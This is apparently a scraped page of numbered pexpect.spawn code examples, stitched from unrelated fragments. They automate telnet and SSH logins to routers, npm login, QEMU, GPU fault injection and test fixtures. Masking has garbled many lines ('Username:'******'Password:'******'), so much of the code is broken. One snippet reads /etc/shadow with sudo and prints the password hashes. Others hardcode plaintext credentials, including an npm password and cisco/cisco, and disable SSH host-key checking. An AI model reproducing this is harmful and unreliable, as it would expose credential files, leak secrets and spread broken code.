else:
    print('Login succeed!!')

child.close()
print('done')
#!/usr/bin/python3

import pexpect

devices = {
    'iosv-1': {
        'prompt': 'iosv-1#',
        'ip': '172.16.1.20'
    },
    'iosv-2': {
        'prompt': 'iosv-2#',
        'ip': '172.16.1.21'
    }
}
username = '******'
password = '******'

for device in devices.keys():
    device_prompt = devices[device]['prompt']
    child = pexpect.spawn('telnet ' + devices[device]['ip'])
    child.expect('Username:'******'Password:'******'show version | i V')
    child.expect(device_prompt)
    print(child.before)
    child.sendline('exit')
Example #33
0
import pexpect
import getpass
import sys

command = sys.argv[1]
user = input('Username: '******'Enter enable password: '******'192.168.100.1', '192.168.100.2', '192.168.100.3']

for ip in devices_ip:
    print('Connection to device {}'.format(ip))
    with pexpect.spawn('ssh {}@{}'.format(user, ip)) as ssh:
        ssh.expect('Password:'******'[#>]')
        ssh.sendline('enable')

        ssh.expect('Password:'******'#')
        ssh.sendline('terminal length 0')

        ssh.expect('#')
        ssh.sendline(command)

        ssh.expect('#')
        print(ssh.before.decode('ascii'))
Example #34
0
            except Exception,e:
                print("Exception for operator %s!" %operator)
                print(e)
            finally:
                foo5.close()

    #case 2 yet to test
    if sg_un_two=='NA':
        #sg_port_one=sg_ip_one.split('.')[3]+'22'
        sg_port_one=get_port_num()
        #kill any active ports if any
        os.system("/sbin/fuser -k %s/tcp" %(sg_port_one))

        try :
            print("/usr/bin/ssh -o HostKeyAlias=%s -f -N -l %s -L %s:%s:22 %s" %(sg_ip_one,sg_un_one,sg_port_one,server_ip,sg_ip_one))
            foo9=pexpect.spawn("/usr/bin/ssh -o HostKeyAlias=%s -f -N -l %s -L %s:%s:22 %s" %(sg_ip_one,sg_un_one,sg_port_one,server_ip,sg_ip_one))
            foo9.expect('.ssword:*')
            print("Sending password %s" %sg_pw_one)
            foo9.sendline("%s" %sg_pw_one)
            #foo1.interact()
            foo9.close()
            print("Connection made to SG1 %s" %sg_ip_one)
        except Exception,e:
            print("Exception for operator %s first connection!" %operator)
            print (e)
            pass

        for filename in filenames:
            try :
                print("spawning")
                print("/usr/bin/scp -o HostKeyAlias=%s -P %s %s@localhost:%s/%s  %s" %(server_ip,sg_port_one,user_name,src,filename,dest))
def login(username, password):
	child = pexpect.spawn(CLIENT_DIR + '/client', cwd = CLIENT_DIR)
	child.sendline(username)
	child.sendline(password)
	return child
	def setUp(self):
		#print('\n'+ self._testMethodName + ' ', end='')
		self.server = pexpect.spawn(SERVER_DIR + '/server', cwd = SERVER_DIR)
Example #37
0
import pexpect, os
f = open("iplist.txt", "r")
str = f.readline()
os.system("cat /dev/null>/mnt/mylog.txt")
while str:
    ip = 'ssh' + ' ' + str.split()[0]
    child = pexpect.spawn(ip)
    fout = file('mylog.txt', 'a+')
    child.logfile = fout

    child.expect("password:"******"#")
    child.sendline("ifconfig")
    child.expect("#")
    str = f.readline()
f.close()
    def __init_ncp_sim(self, nodeid, mode):
        """ Initialize an NCP simulation node. """

        # Default command if no match below, will be overridden if below conditions are met.
        cmd = 'spinel-cli.py -p ./ot-ncp-%s -n' % mode

        # If Thread version of node matches the testing environment version.
        if self.version == self.env_version:
            if 'RADIO_DEVICE' in os.environ:
                args = ' %s' % os.environ['RADIO_DEVICE']
            else:
                args = ''

            # Load Thread 1.2 BBR device when testing Thread 1.2 scenarios
            # which requires device with Backbone functionality.
            if self.version == '1.2' and self.is_bbr:
                if 'OT_NCP_PATH_1_2_BBR' in os.environ:
                    cmd = 'spinel-cli.py -p "%s%s" -n' % (
                        os.environ['OT_NCP_PATH_1_2_BBR'],
                        args,
                    )
                elif 'top_builddir_1_2_bbr' in os.environ:
                    srcdir = os.environ['top_builddir_1_2_bbr']
                    cmd = '%s/examples/apps/ncp/ot-ncp-%s' % (srcdir, mode)
                    cmd = 'spinel-cli.py -p "%s%s" -n' % (
                        cmd,
                        args,
                    )

            # Load Thread device of the testing environment version (may be 1.1 or 1.2).
            else:
                if 'OT_NCP_PATH' in os.environ:
                    cmd = 'spinel-cli.py -p "%s%s" -n' % (
                        os.environ['OT_NCP_PATH'],
                        args,
                    )
                elif 'top_builddir' in os.environ:
                    srcdir = os.environ['top_builddir']
                    cmd = '%s/examples/apps/ncp/ot-ncp-%s' % (srcdir, mode)
                    cmd = 'spinel-cli.py -p "%s%s" -n' % (
                        cmd,
                        args,
                    )

        # Load Thread 1.1 node when testing Thread 1.2 scenarios for interoperability.
        elif self.version == '1.1':
            if 'RADIO_DEVICE_1_1' in os.environ:
                args = ' %s' % os.environ['RADIO_DEVICE_1_1']
            else:
                args = ''

            if 'OT_NCP_PATH_1_1' in os.environ:
                cmd = 'spinel-cli.py -p "%s%s" -n' % (
                    os.environ['OT_NCP_PATH_1_1'],
                    args,
                )
            elif 'top_builddir_1_1' in os.environ:
                srcdir = os.environ['top_builddir_1_1']
                cmd = '%s/examples/apps/ncp/ot-ncp-%s' % (srcdir, mode)
                cmd = 'spinel-cli.py -p "%s%s" -n' % (
                    cmd,
                    args,
                )

        cmd += ' %d' % nodeid
        print("%s" % cmd)

        self.pexpect = pexpect.spawn(cmd, timeout=4)

        # Add delay to ensure that the process is ready to receive commands.
        time.sleep(0.2)
        self._expect('spinel-cli >')
        self.debug(int(os.getenv('DEBUG', '0')))
Example #39
0
 def __init__(self):
     self.child = pexpect.spawn("bluetoothctl", echo=False)
Example #40
0
print ''
print 'Interfaces, routes list, routes details'
print '---------------------------------------'

# Create regular expressions to match interfaces and OSPF
OSPF_pattern = re.compile('^O')
intf_pattern = re.compile('(GigabitEthernet)([0-9]\/[0-9])')

# Create regular expressions to match prefix and routes
prefix_pattern = re.compile('^O.{8}([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/[0-9]{1,2})')
route_pattern = re.compile('via ([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})')

# Connect to device and run 'show ip route' command
print '--- connecting telnet 10.30.30.1 with cisco/cisco'

session = pexpect.spawn('telnet 10.30.30.1', timeout=20)
result = session.expect(['Username:'******'Timeout or unexpected reply from device'
    exit()

# Successfully got username prompt, enter username
session.sendline('cisco')
result = session.expect('Password:'******'cisco')
result = session.expect('>')
Example #41
0
def run_script(command, script, defs=None, g_timeout=None):
    """Run a command and check whether it follows a script.

    :sig: (str, List[Action], Optional[Mapping], Optional[int]) -> Tuple[int, int, List[str]]
    :param command: Command to run.
    :param script: Script to check against.
    :param defs: Variable substitutions.
    :param g_timeout: Global timeout value for the spawn class
    :return: Exit status, signal status, and errors.
    """
    defs = defs if defs is not None else {}
    g_timeout = g_timeout if g_timeout is not None else GLOBAL_TIMEOUT

    process = pexpect.spawn(command, timeout=g_timeout)
    process.setecho(False)
    errors = []

    last = script[-1] if len(script) > 0 else None
    if (last is None) or ((last.type_ != ActionType.EXPECT) and (last.data != "_EOF_")):
        script.append(Action(ActionType.EXPECT, "_EOF_"))

    for action in script:
        if action.data is not pexpect.EOF:
            action.data = action.data % defs
        if action.type_ == ActionType.EXPECT:
            try:
                expecting = (
                    "_EOF_" if action.data is pexpect.EOF else ('"%(a)s"' % {"a": action.data})
                )
                timeout = action.timeout if action.timeout != -1 else g_timeout
                _logger.debug("  expecting (%ds): %s", timeout, expecting)
                process.expect(action.data, timeout=action.timeout)
                output = process.after
                received = (
                    "_EOF_" if ".EOF" in repr(output) else ('"%(o)s"' % {"o": output.decode()})
                )
                _logger.debug("  received: %s", received)
            except pexpect.EOF:
                output = process.before
                received = (
                    "_EOF_" if ".EOF" in repr(output) else ('"%(o)s"' % {"o": output.decode()})
                )
                _logger.debug('  received: "%s"', received)
                process.close(force=True)
                _logger.debug("FAILED: Expected output not received.")
                errors.append("Expected output not received.")
                break
            except pexpect.TIMEOUT:
                output = process.before
                received = (
                    "_EOF_" if ".EOF" in repr(output) else ('"%(o)s"' % {"o": output.decode()})
                )
                _logger.debug('  received: "%s"', received)
                process.close(force=True)
                _logger.debug("FAILED: Timeout exceeded.")
                errors.append("Timeout exceeded.")
                break
        elif action.type_ == ActionType.SEND:
            _logger.debug('  sending: "%s"', action.data)
            process.sendline(action.data)
    else:
        process.close(force=True)
    return process.exitstatus, process.signalstatus, errors
def faultMain(path, trigger, trial, pc, kernel, iteration):
    global CUDA_GDB_PATH, BREAKPOINT, BREAK_LOCATION, CURRENT_INSTRUCTION, SETPI, MODIFY_REGISTER, REGISTER, THREAD, DELETE_BREAKPOINT, KILL, DELETE_BREAKPOINT2, BREAK_LOCATION2, DELETE_BREAKPOINT3
    global CUDA_GDB_EXPECT, BREAKPOINT_EXPECT, EOL_EXPECT, RUN_EXPECT, CONTINUE_EXPECT, CURRENT_INSTRUCTION_EXPECT, THREAD_EXPECT, DELETE_BREAKPOINT_EXPECT, PRINT_PC, ARGUMENT, NEXT_INSTRUCTION, SIGTRAP
    global logger
    assert_flag = 0
    cuda_gdb_p = pexpect.spawn(CUDA_GDB_PATH + " " + path)
    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    #---------------
    # set breakpoint
    #---------------
    cuda_gdb_p.sendline(BREAKPOINT + " " + BREAK_LOCATION)
    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    #    cuda_gdb_p.sendline(BREAKPOINT+" "+BREAK_LOCATION2)
    #    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    #---------------
    # run the program
    #---------------
    cuda_gdb_p.sendline(RUN + ARGUMENT)
    j = cuda_gdb_p.expect([pexpect.TIMEOUT, CUDA_GDB_EXPECT], timeout=60)
    if j == 0:
        logger.info("Error happened! Terminated! 1")
        killProcess(configure.benchmark)
        cuda_gdb_p.terminate(force=True)
        cuda_gdb_p.close()
        return
    #---------------------
    # reset the breakpoint
    #---------------------
    #logger.info(trigger)
    rawstr = cuda_gdb_p.before
    print rawstr
    while "Kernel " + kernel not in rawstr:
        cuda_gdb_p.sendline(CONTINUE)
        cuda_gdb_p.expect(CUDA_GDB_EXPECT, timeout=60)
        rawstr = cuda_gdb_p.before
        #logger.info(rawstr)
    # if the breakpoint is the same as initial breakpoint, do not delete
    time.sleep(2)
    #cuda_gdb_p.sendline(BREAKPOINT+" "+BREAK_LOCATION2)
    #cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    #print (cuda_gdb_p.before)
    #cuda_gdb_p.sendline(CONTINUE)
    #cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    #print (cuda_gdb_p.before)
    if BREAK_LOCATION in trigger:
        pass
    elif BREAK_LOCATION2 in trigger:
        cuda_gdb_p.sendline(DELETE_BREAKPOINT)
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    else:
        cuda_gdb_p.sendline(DELETE_BREAKPOINT)
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)
        #cuda_gdb_p.sendline(DELETE_BREAKPOINT2)
        #cuda_gdb_p.expect(CUDA_GDB_EXPECT)
        print trigger
        cuda_gdb_p.sendline(BREAKPOINT + " " + trigger)
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)
        logger.info(cuda_gdb_p.before)
        #cuda_gdb_p.delaybeforesend = 0
        cuda_gdb_p.sendline(CONTINUE)
        j = cuda_gdb_p.expect([pexpect.TIMEOUT, CUDA_GDB_EXPECT], timeout=60)
        if j == 0:
            logger.info("Error happened ! Terminated! 2")
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            cuda_gdb_p.close()
            return
        else:
            res_continue = cuda_gdb_p.before
            if "Program exited" in res_continue:
                logger.info("Cannot hit the breakpoint!")
                killProcess(configure.benchmark)
                cuda_gdb_p.terminate(force=True)
                cuda_gdb_p.close()
                return
    # need to see if it is in the loop and jump over iterations
    logger.info("begin to see how many iterations we need to jump " +
                str(iteration))
    for iter in range(0, iteration - 1):
        cuda_gdb_p.sendline(CONTINUE)
        j = cuda_gdb_p.expect([pexpect.TIMEOUT, CUDA_GDB_EXPECT], timeout=60)
        res = cuda_gdb_p.before
        logger.info(res)
        if j == 0:
            logger.info("Error happened ! Terminated! 5")
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            cuda_gdb_p.close()
            return
        else:
            res_continue = cuda_gdb_p.before
            if "Program exited" in res_continue or "Switching " in res_continue:
                logger.info("Cannot hit the breakpoint!i 5")
                killProcess(configure.benchmark)
                cuda_gdb_p.terminate(force=True)
                cuda_gdb_p.close()
                return
    i = 0
    counter_i = 0
    rand_counter = random.randint(0, configure.instruction_random)
    while i == 0:
        cuda_gdb_p.sendline(PRINT_PC)
        cuda_gdb_p.expect(CUDA_GDB_EXPECT, timeout=600)
        pcline = cuda_gdb_p.before
        logger.info(pcline)
        pcline = pcline.lstrip(" ").rstrip("\r\n")
        pcline_list = pcline.split(" ")
        pc_c = pcline_list[len(pcline_list) - 1]
        logger.info("pc is " + str(pc))
        logger.info("new pc is " + str(pc_c))
        if "registers" in pc_c or is_number(
                pc_c) == False or "executing" in pc_c:
            logger.info("Cannot hit pc in stepi")
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            #cuda_gdb_p.close()
            return
        if int(pc_c) != pc:
            cuda_gdb_p.sendline(STEPI)
            k = cuda_gdb_p.expect([pexpect.TIMEOUT, CUDA_GDB_EXPECT],
                                  timeout=120)
            if k == 0:
                logger.info("Cannot hit pc in stepi")
                killProcess(configure.benchmark)
                cuda_gdb_p.terminate(force=True)
                #cuda_gdb_p.close()
                return
            res_pc = cuda_gdb_p.before
            logger.info(res_pc)
            if "Termination" in res_pc or "focus" in res_pc or "Focus" in res_pc or "Executing" in res_pc:
                logger.info("Cannot hit pc!")
                killProcess(configure.benchmark)
                cuda_gdb_p.terminate(force=True)
                #cuda_gdb_p.close()
                return
        else:
            i = 1
        counter_i = counter_i + 1
        logger.info("counter is " + str(counter_i))
        if counter_i >= rand_counter + configure.instruction_counter:
            logger.info("Cannot hit pc! Pick next random instrcution!")
            i = 1
    #------------------------------
    # check the current instruction
    #------------------------------
    cuda_gdb_p.sendline(CURRENT_INSTRUCTION)
    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    curr = cuda_gdb_p.before
    #logger.info(curr)
    #------------------------
    # get the target register
    #------------------------
    target = curr.split(CURRENT_INSTRUCTION_EXPECT)
    tar_insn = target[len(target) - 1].lstrip().rstrip("\r\n")
    reg = getTargetRegister(target[len(target) - 1])
    logger.info("Inject into " + reg)
    if "R" not in reg and "SR" not in reg:
        logger.info("It is a invalid target! Exit")
        killProcess(configure.benchmark)
        cuda_gdb_p.terminate(force=True)
        #cuda_gdb_p.close()
        return
    # if the instruction is memory instruction, the fault is considered activated immediatley.
    symbol = getRegisterSymbols(target[len(target) - 1])
    # dealing with predicate instuctions
    preDest = ""
    preDestValue = ""
    if "@P" in symbol.opcode or "@!P" in symbol.opcode:
        preDest = symbol.operand[0]
        cuda_gdb_p.sendline(MODIFY_REGISTER + "$" + preDest)
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)
        preDestVList = cuda_gdb_p.before.lstrip().rstrip("\r\n").split("\t")
        preDestValue = preDestVList[len(preDestVList) - 1]
    flag = 0
    mem_insn = ""
    mem_value_before = ""
    if "ST" in symbol.opcode or "LD" in symbol.opcode:
        flag = 1
        mem_insn = tar_insn
        cuda_gdb_p.sendline(REGISTER + reg)
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)
        mem_value_before = cuda_gdb_p.before.lstrip().rstrip("\r\n").split(
            "\t")
        logger.info(mem_value_before)
        #-----------------
        #inject the fault
        #-----------------
        fault = generateFaults(mem_value_before[len(mem_value_before) - 1])
        if fault == "Non-numeric":
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            cuda_gdb_p.close()
            return
        cuda_gdb_p.sendline(MODIFY_REGISTER + "$" + reg + " = " + str(fault))
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)

    #need to obtain next instruction to make the last one get executed
    cuda_gdb_p.sendline(STEPI)
    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    res = cuda_gdb_p.before
    if CUDA_EXCEPTION in res:
        logger.info(res)
        logger.info("At trial " + str(trial) + " fault in register " + reg +
                    " is activated")
        logger.info("At trial " + str(trial) + " fault in register " + reg +
                    " crashed" + " latency is 0")
        killProcess(configure.benchmark)
        cuda_gdb_p.terminate(force=True)
        cuda_gdb_p.close()
        logger.info("Trail " + str(trial) + " finishes!")
        return
    if flag == 1 and symbol.isRepetitive != 1:
        cuda_gdb_p.sendline(MODIFY_REGISTER + "$" + reg + " = " +
                            mem_value_before[len(mem_value_before) - 1])
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)
        logger.info("Memory instruction change reg " + reg + " back to " +
                    mem_value_before[len(mem_value_before) - 1])
    else:
        instructions = res.split(CURRENT_INSTRUCTION_EXPECT)
        instruction = instructions[len(instructions) -
                                   1].lstrip().rstrip("\r\n")
        #get the value of the register
        cuda_gdb_p.sendline(REGISTER + reg)
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)
        value_before = cuda_gdb_p.before.lstrip().rstrip("\r\n").split("\t")
        logger.info(value_before)
        if value_before == preDestValue:
            logger.info("Predicated instruction is not executed!")
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            cuda_gdb_p.close()
            return
        #-----------------
        #inject the fault
        #-----------------
        fault = generateFaults(value_before[len(value_before) - 1])
        if fault == "Non-numeric":
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            cuda_gdb_p.close()
            return
        cuda_gdb_p.sendline(MODIFY_REGISTER + "$" + reg + " = " + str(fault))
        cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    #-------------------------------
    #check if the fault is activated
    #-------------------------------
    isActivated = 0  # 0: not activated 1: activated 2: overwritten
    if flag == 1:
        isActivated = 1
        logger.info("At trial " + str(trial) + " fault in register " + reg +
                    "is activated at instruction " + mem_insn)
    else:
        isActivated = checkActivated(reg, instruction)
        if isActivated == 1:
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + "is activated at instruction " + instruction)
        if isActivated == 2:
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + "is overwritten at instruction " + instruction)
    res = ""
    counter = 0
    last_inst = ""
    isPredicated = 0
    while isActivated == 0:
        if CUDA_EXCEPTION in res:
            logger.info(res)
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + " is activated")
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + " crashed" + " latency is 0")
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            #cuda_gdb_p.close()
            logger.info("Trail " + str(trial) + " finishes!")
            return
        if SIGTRAP in res:
            logger.info(res)
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + " is activated")
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + " trapped")
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            cuda_gdb_p.close()
            logger.info("Trail " + str(trial) + " finishes!")
            return
        if "Focus" not in res:
            cuda_gdb_p.sendline(STEPI)
            k = cuda_gdb_p.expect([pexpect.TIMEOUT, CUDA_GDB_EXPECT],
                                  timeout=300)
            if k == 0:
                logger.info("Error happened ! Terminated! 3")
                killProcess(configure.benchmark)
                cuda_gdb_p.terminate(force=True)
                cuda_gdb_p.close()
                return
            res = cuda_gdb_p.before
            instructions = res.split(CURRENT_INSTRUCTION_EXPECT)
            instruction = instructions[len(instructions) -
                                       1].lstrip().rstrip("\r\n")
            symbol_check = getRegisterSymbols(instruction)
            if "@P" in symbol_check.opcode or "@!P" in symbol_check.opcode:
                preDest = symbol_check.operand[0]
                cuda_gdb_p.sendline(MODIFY_REGISTER + "$" + preDest)
                cuda_gdb_p.expect(CUDA_GDB_EXPECT)
                preDestVList = cuda_gdb_p.before.lstrip().rstrip("\r\n").split(
                    "\t")
                preDestValue = preDestVList[len(preDestVList) - 1]
                isPredicated = 1
                last_inst = instruction
            else:
                if isPredicated == 1:
                    cuda_gdb_p.sendline(MODIFY_REGISTER + "$" + preDest)
                    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
                    preDestVList = cuda_gdb_p.before.lstrip().rstrip(
                        "\r\n").split("\t")
                    preDestValue_new = preDestVList[len(preDestVList) - 1]
                    if preDestValue != preDestValue:
                        logger.info("Predicate inst is executed! Check")
                        isActivated = checkActivated(reg, last_inst)
                        if isActivated == 0:
                            isActivated = checkActivated(reg, instruction)
                    else:
                        logger.info("Predicate inst is not executed! Skip!")
                        isActivated = checkActivated(reg, instruction)
                    isPredicated = 0
                else:
                    isActivated = checkActivated(reg, instruction)
            if isActivated == 2:
                logger.info("At trial " + str(trial) + " fault in register " +
                            reg + " is overwritten at instruction " +
                            instruction)
            if isActivated == 1:
                logger.info("At trial " + str(trial) + " fault in register " +
                            reg + " is activated at instruction " +
                            instruction)
        else:
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + " is not observed at instruction " + instruction)
            isActivated = 3
        counter = counter + 1
        if counter >= 800:
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + " is not observed")
            break
    cuda_gdb_p.sendline(DELETE_BREAKPOINT)
    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    cuda_gdb_p.sendline(DELETE_BREAKPOINT2)
    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    cuda_gdb_p.sendline(DELETE_BREAKPOINT3)
    cuda_gdb_p.expect(CUDA_GDB_EXPECT)
    start = datetime.now()
    cuda_gdb_p.sendline(CONTINUE)
    # 1 timeout 2 pass 3 exception
    try:
        i = cuda_gdb_p.expect([pexpect.TIMEOUT, CUDA_GDB_EXPECT], timeout=120)
        if i == 0:
            logger.info("At trial " + str(trial) + " fault in register " +
                        reg + " is hang ")
            killProcess(configure.benchmark)
            cuda_gdb_p.terminate(force=True)
            #cuda_gdb_p.close()
            return
        elif i == 1:
            logs = cuda_gdb_p.before
            logger.info(logs)
            buf = StringIO.StringIO(logs)
            log = buf.readlines()
            for item in log:
                if "Caught" in item:
                    assert_flag = 1
            #logger.info(logs)
            if CUDA_EXCEPTION in logs:
                logger.info(logs)
                end = datetime.now()
                latency = end - start
                logger.info("At trial " + str(trial) + " fault in register " +
                            reg + " crashed" + " latency is " +
                            str(latency.seconds) + "s " +
                            str(latency.microseconds) + "micros")
                if assert_flag == 1:
                    logger.info("crash_and_asserted")
                killProcess(configure.benchmark)
                cuda_gdb_p.terminate(force=True)
                #cuda_gdb_p.close()
                return
            elif SIGTRAP in logs:
                logger.info(logs)
                end = datetime.now()
                latency = end - start
                logger.info("At trial " + str(trial) + " fault in register " +
                            reg + " trapped")
                killProcess(configure.benchmark)
                cuda_gdb_p.terminate(force=True)
                cuda_gdb_p.close()
                return
            else:
                #compare the results
                ret = checkFile(configure.outputfile)
                #ret = runChecker(configure.comparestring,configure.checkstring)
                if ret > 0:
                    logger.info("At trial " + str(trial) +
                                " fault in register " + reg +
                                " executed correctly")
                    if assert_flag == 1:
                        logger.info("correct_and_asserted")
                else:
                    logger.info("At trial " + str(trial) +
                                " fault in register " + reg +
                                " executed incorrectly")
                    if assert_flag == 1:
                        logger.info("incorrect_and_asserted")

    except pexpect.TIMEOUT:
        logger.info("At trial " + str(trial) + " fault in register " + reg +
                    " is hang ")
        if assert_flag == 1:
            logger.info("hang_and_asserted")
        killProcess(configure.benchmark)
        cuda_gdb_p.terminate(force=True)
        cuda_gdb_p.close()
        return
    logger.info("Trail " + str(trial) + " finishes!")
    logger.info("\n")
Example #43
0
 def __init__(self, port=4444):
     self.child = pexpect.spawn(
             "sh -c 'telnet localhost %d | tee openocd-cli.log'" % port)
     self.child.expect("> ")
Example #44
0
import pexpect, sys
# child = pexpect.spawn('qemu-system-arm -M realview-eb-mpcore -kernel openwrt-realview-vmlinux-initramfs.elf -nographic') # Obsolete
child = pexpect.spawn(
    'qemu-system-arm -net nic,vlan=0 -net nic,vlan=1 -net user,vlan=1 -nographic -M virt -m 64 -kernel openwrt-armvirt-32-zImage-initramfs'
)
child = pexpect.spawn(
    'qemu-system-arm -nographic -M virt -m 64 -kernel openwrt-armvirt-32-zImage-initramfs'
)
child.logfile = sys.stdout
child.expect('Please press Enter to activate this console.')
child.sendline('')
# child.expect('root@(none):/#')
child.expect('root@')
child.sendline('uname -a')
child.expect('root@')
child.sendline('cat /proc/cmdline')
child.expect('root@')
child.sendline('opkg')
child.expect('root@')
child.sendline(
    'opkg update')  # Internet connection not working! should work now...
child.expect('root@')
child.sendline('halt')
child.expect('root@')
# child.expect(pexpect.EOF)
print child.before
Example #45
0
#! /usr/bin/env python3

import pexpect
import sys
print('npm login')
child = pexpect.spawn('npm login', timeout=15)
child.logfile_read = sys.stdout.buffer
child.expect('Username:'******'qiulang2000')
child.expect('Password:'******'tongtongjiajia')
child.expect('Email:')
child.sendline('*****@*****.**')
child.expect('Logged in as')
# If a logfile is specified, then the data sent and received from the child process in interact mode is duplicated to the given log.
# child.interact()
 def setUp(self):
     #print('\n'+ self._testMethodName + ' ', end='')
     #result = False
     self.server = pexpect.spawn(SERVER_DIR + '/server', cwd=SERVER_DIR)
     test_id = 'CBA'
     test_capacity = '10'
Example #47
0
    def run(port):
        ## Create the config file
        if secure:
            if not os.path.exists(private_pem) or not os.path.exists(
                    public_pem):
                print "In order to use an SECURE encrypted notebook, you must first run notebook.setup()."
                print "Now running notebook.setup()"
                notebook_setup()
            if not os.path.exists(private_pem) or not os.path.exists(
                    public_pem):
                print "Failed to setup notebook.  Please try notebook.setup() again manually."
            strport = 'tls:%s:interface=%s:privateKey=%s:certKey=%s' % (
                port, address, private_pem, public_pem)
        else:
            strport = 'tcp:%s:interface=%s' % (port, address)

        notebook_opts = '"%s",address="%s",port=%s,secure=%s' % (
            os.path.abspath(directory), address, port, secure)

        if open_viewer:
            if require_login:
                start_path = "'/?startup_token=%s' % startup_token"
            else:
                start_path = "'/'"
            open_page = "from sage.server.misc import open_page; open_page('%s', %s, %s, %s)" % (
                address, port, secure, start_path)
        else:
            open_page = ''

        config = open(conf, 'w')

        config.write("""
####################################################################
# WARNING -- Do not edit this file!   It is autogenerated each time
# the notebook(...) command is executed.
####################################################################

# Now set things up and start the notebook
import sage.server.notebook.notebook
sage.server.notebook.notebook.JSMATH=True
import sage.server.notebook.notebook as notebook
twist.notebook = notebook.load_notebook(%s)
twist.SAGETEX_PATH = "%s"
twist.OPEN_MODE = %s
twist.SID_COOKIE = str(hash("%s"))
twist.init_updates()
worksheet.init_sage_prestart(twist.notebook.get_server(), twist.notebook.get_ulimit())

def save_notebook():
    from twisted.internet.error import ReactorNotRunning
    print "Saving notebook..."
    twist.notebook.save()
    try:
        reactor.stop()
    except ReactorNotRunning:
        pass
    print "Notebook cleanly saved."

def my_sigint(x, n):
    save_notebook()
    signal.signal(signal.SIGINT, signal.SIG_DFL)


signal.signal(signal.SIGINT, my_sigint)

## Disable client-side certificate request for gnutls
try:
    import gnutls.connection
    gnutls.connection.CERT_REQUEST = 0
except OSError:
    print "Note: GNUTLS not available."


## Authentication framework (ported from Knooboo)


realm = avatars.LoginSystem()
p = portal.Portal(realm)
startup_token = '%%x' %% random.randint(0, 2**128)
startup_checker = avatars.OneTimeTokenChecker()
startup_checker.token = startup_token
p.registerChecker(startup_checker)
password_checker = avatars.PasswordChecker()
p.registerChecker(password_checker)
p.registerChecker(checkers.AllowAnonymousAccess())
rsrc = guard.MySessionWrapper(p)
log.DefaultCommonAccessLoggingObserver().start()
site = server.Site(rsrc)
factory = channel.HTTPFactory(site)

application = service.Application("SAGE Notebook")
s = strports.service('%s', factory)
%s
s.setServiceParent(application)

reactor.addSystemEventTrigger('before', 'shutdown', save_notebook)

""" % (notebook_opts, sagetex_path, not require_login,
        os.path.abspath(directory), strport, open_page))

        config.close()

        ## Start up twisted
        if not quiet:
            print_open_msg('localhost' if not address else address,
                           port,
                           secure=secure)
        if secure and not quiet:
            print "There is an admin account.  If you do not remember the password,"
            print "quit the notebook and type notebook(reset=True)."
        cmd = 'sage -twistd --pidfile="%s"/twistd.pid -ny "%s"/twistedconf.tac' % (
            directory, directory)
        if fork:
            return pexpect.spawn(cmd)
        else:
            e = os.system(cmd)
        if e == 256:
            raise socket.error
        return True
Example #48
0
def step_impl(context, command):
    context.child = pexpect.spawn(command, encoding='utf-8')
Example #49
0
 def test_bad_arguments_suggest_fdpsawn(self):
     " assert custom exception for spawn(int). "
     expect_errmsg = "maybe you want to use fdpexpect.fdspawn"
     with self.assertRaisesRegexp(pexpect.ExceptionPexpect,
                                  ".*" + expect_errmsg):
         pexpect.spawn(1)
Example #50
0
    (options, args) = parser.parse_args()
    if not options.username:
        usage("--username is required")
    if not options.current_password:
        usage("--current-password is required")
    if not options.new_password:
        usage("--new-password is required")
    if not options.host:
        usage("--host is required")

    base64_kcpassword = b64encode(kcpassword_xor(options.new_password))
    print("base64'd kcpassword: %s" % base64_kcpassword)

    child = pexpect.spawn(
        "ssh -o PubkeyAuthentication=no -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null %s@%s"
        % (options.username, options.host))
    child.expect('Password:'******'Last login:'******'Password:'******'passwd')
        child.expect('Old Password:'******'New Password:'******'Retype New Password:')
Example #51
0
 def test_eof(self):
     " call to expect() after EOF is received raises pexpect.EOF "
     child = pexpect.spawn('cat')
     child.sendeof()
     with self.assertRaises(pexpect.EOF):
         child.expect('the unexpected')
Example #52
0
 def test_bad_type_in_expect(self):
     " expect() does not accept dictionary arguments. "
     child = pexpect.spawn('cat')
     with self.assertRaises(TypeError):
         child.expect({})
Example #53
0
import pexpect
from getpass import getpass

pwd = getpass("password: ")

child = pexpect.spawn('sudo cat /etc/shadow')
child.expect('.*ssword.*:')
child.sendline(pwd)
child.expect(pexpect.EOF, timeout=None)
cmd_show_data = child.before
cmd_output = cmd_show_data.split('\r\n')
for data in cmd_output:
    print(data)
Example #54
0
